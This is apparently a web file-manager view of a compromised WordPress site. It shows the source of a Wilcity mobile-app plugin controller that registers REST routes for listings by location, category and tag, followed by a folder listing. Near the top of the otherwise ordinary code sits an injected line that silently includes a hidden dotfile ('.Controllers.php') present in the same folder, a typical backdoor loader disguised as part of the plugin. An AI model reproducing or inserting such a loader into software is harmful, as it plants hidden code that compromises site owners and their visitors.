PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wilcity-mobile-app
/
app
/
Controllers
<?php namespace WILCITY_APP\Controllers; use WilokeListingTools\Controllers\SearchFormController; use WilokeListingTools\Framework\Helpers\General; use WilokeListingTools\Framework\Helpers\GetSettings; use WilokeListingTools\Framework\Helpers\SetSettings; use WilokeListingTools\Frontend\BusinessHours; use WilokeListingTools\Frontend\User; use WilokeListingTools\Models\FavoriteStatistic; use WilokeListingTools\Models\UserModel; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class TermController { use JsonSkeleton; public function __construct() { add_action( 'rest_api_init', function () { register_rest_route( WILOKE_PREFIX.'/v2', '/listing-location/(?P<id>\d+)', array( 'methods' => 'GET', 'callback' => array($this, 'getListingsInLocation'), )); register_rest_route( WILOKE_PREFIX.'/v2', '/listing-location/(?P<slug>\w+)', array( 'methods' => 'GET', 'callback' => array($this, 'getListingsInLocation'), )); register_rest_route( WILOKE_PREFIX.'/v2', '/listing-category/(?P<id>\d+)', array( 'methods' => 'GET', 'callback' => array($this, 'getListingsInCat'), )); register_rest_route( WILOKE_PREFIX.'/v2', '/listing-category/(?P<slug>\w+)', array( 'methods' => 'GET', 'callback' => array($this, 'getListingsInCat'), )); register_rest_route( WILOKE_PREFIX.'/v2', '/listing_tag/(?P<id>\d+)', array( 'methods' => 'GET', 'callback' => array($this, 'getListingTag'), )); register_rest_route( WILOKE_PREFIX.'/v2', '/listing_tag/(?P<slug>\w+)', array( 'methods' => 'GET', 'callback' => array($this, 'getListingTag'), )); } ); } private function maybeNextPage($taxonomy, $id, $page, $maxPages){ if ( $maxPages <= $page ){ return false; } return abs($page)+1; } private function buildQuery($term, $taxonomy, $aData){ $aData[$taxonomy] = $term; if ( !isset($aData['postType']) || empty($aData['postType']) ){ $aData['postType'] = General::getPostTypeKeys(false, true); } if ( !isset($aData['postsPerPage']) || (abs($aData['postsPerPage']) > 100) ){ $aData['postsPerPage'] = 18; } $aArgs = SearchFormController::buildQueryArgs($aData); return $aArgs; } public function itemSkeleton($post){ $aSizes = apply_filters('wilcity/mobile/featured-image/sizes', array( 'large', 'medium', 'thumbnail', 'wilcity_500x275', 'wilcity_290x165', 'wilcity_360x200' )); if ( has_post_thumbnail($post->ID) ){ foreach ($aSizes as $size){ if ( is_array($size) ){ $sizeName = 'wilcity_'.$size[0].'x'.$size[1]; }else{ $sizeName = $size; } $aFeaturedImg[$sizeName] = get_the_post_thumbnail_url($post->ID, $size); } } $aResponse = $this->listingSkeleton($post); return apply_filters('wilcity/mobile/list-listings', $aResponse, $post); } public function getListingsInLocation($aData){ $page = 1; if ( isset($aData['page']) ){ $page = abs($aData['page']); } $aArgs = $this->buildQuery($aData['id'], 'listing_location', $aData); $query = new \WP_Query($aArgs); if ( !$query->have_posts() ){ return array( 'status'=> 'error', 'msg' => esc_html__('There are no listings', WILCITY_MOBILE_APP) ); } $aResponse = array(); while( $query->have_posts() ){ $query->the_post(); $aResponse[] = $this->itemSkeleton($query->post); } $aReturn = array( 'status' => 'success', 'maxPages' => $query->max_num_pages, 'total' => $query->found_posts );; if ( $nextPage = $this->maybeNextPage('listing-location', $aData['id'], $page, $query->max_num_pages) ){ $aReturn['next'] = $nextPage; }else{ $aReturn['next'] = false; } $aReturn['aListings'] = $aResponse; return $aReturn; } public function getListingTag($aData){ $page = 1; if ( isset($aData['page']) ){ $page = abs($aData['page']); } $aArgs = $this->buildQuery($aData['id'], 'listing_tag', $aData); $query = new \WP_Query($aArgs); if ( !$query->have_posts() ){ return array( 'status'=> 'error', 'msg' => esc_html__('There are no listings', WILCITY_MOBILE_APP) ); } $aResponse = array(); while( $query->have_posts() ){ $query->the_post(); $aResponse[] = $this->itemSkeleton($query->post); } $aReturn = array( 'status' => 'success', 'maxPages' => $query->max_num_pages, 'total' => $query->found_posts );; if ( $nextPage = $this->maybeNextPage('listing-tag', $aData['id'], $page, $query->max_num_pages) ){ $aReturn['next'] = $nextPage; }else{ $aReturn['next'] = false; } $aReturn['aListings'] = $aResponse; return $aReturn; } public function getListingsInCat($aData){ $page = 1; if ( isset($aData['page']) ){ $page = abs($aData['page']); } $aArgs = $this->buildQuery($aData['id'], 'listing_cat', $aData); $query = new \WP_Query($aArgs); if ( !$query->have_posts() ){ return array( 'status'=> 'error', 'msg' => esc_html__('There are no listings', WILCITY_MOBILE_APP) ); } $aResponse = array(); while( $query->have_posts() ){ $query->the_post(); $aResponse[] = $this->itemSkeleton($query->post); } $aReturn = array( 'status' => 'success', 'maxPages' => $query->max_num_pages, 'total' => $query->found_posts );; if ( $nextPage = $this->maybeNextPage('listing-category', $aData['id'], $page, $query->max_num_pages) ){ $aReturn['next'] = $nextPage; }else{ $aReturn['next'] = false; } $aReturn['oResults'] = $aResponse; return $aReturn; } }
[+]
..
[-] ParsePost.php
[edit]
[-] SearchField.php
[edit]
[-] FirebaseDB.php
[edit]
[-] Translations.php
[edit]
[-] GetSecurityKey.php
[edit]
[-] .Controllers.php
[edit]
[-] BuildToken.php
[edit]
[-] Review.php
[edit]
[-] FieldHelps.php
[edit]
[-] BuildQuery.php
[edit]
[-] TermController.php
[edit]
[-] Taxonomies.php
[edit]
[-] AdmobController.php
[edit]
[-] FirebaseController.php
[edit]
[-] NotificationController.php
[edit]
[-] LoginRegister.php
[edit]
[-] UserController.php
[edit]
[-] Event.php
[edit]
[-] HomeController.php
[edit]
[+]
Firebase
[-] UserPermission.php
[edit]
[-] OrderBy.php
[edit]
[-] ReviewController.php
[edit]
[-] Listing.php
[edit]
[-] GeneralSettings.php
[edit]
[-] MenuController.php
[edit]
[-] Events.php
[edit]
[-] Blog.php
[edit]
[-] JsonSkeleton.php
[edit]
[-] ReportController.php
[edit]
[-] VerifyToken.php
[edit]
[-] Filter.php
[edit]
[-] NearByMe.php
[edit]
[-] Message.php
[edit]
[-] ImageController.php
[edit]
[-] FavoritesController.php
[edit]
[-] PostTypes.php
[edit]
[-] Listings.php
[edit]
[-] DashboardController.php
[edit]
[-] MyDirectoryController.php
[edit]
[-] MessageController.php
[edit]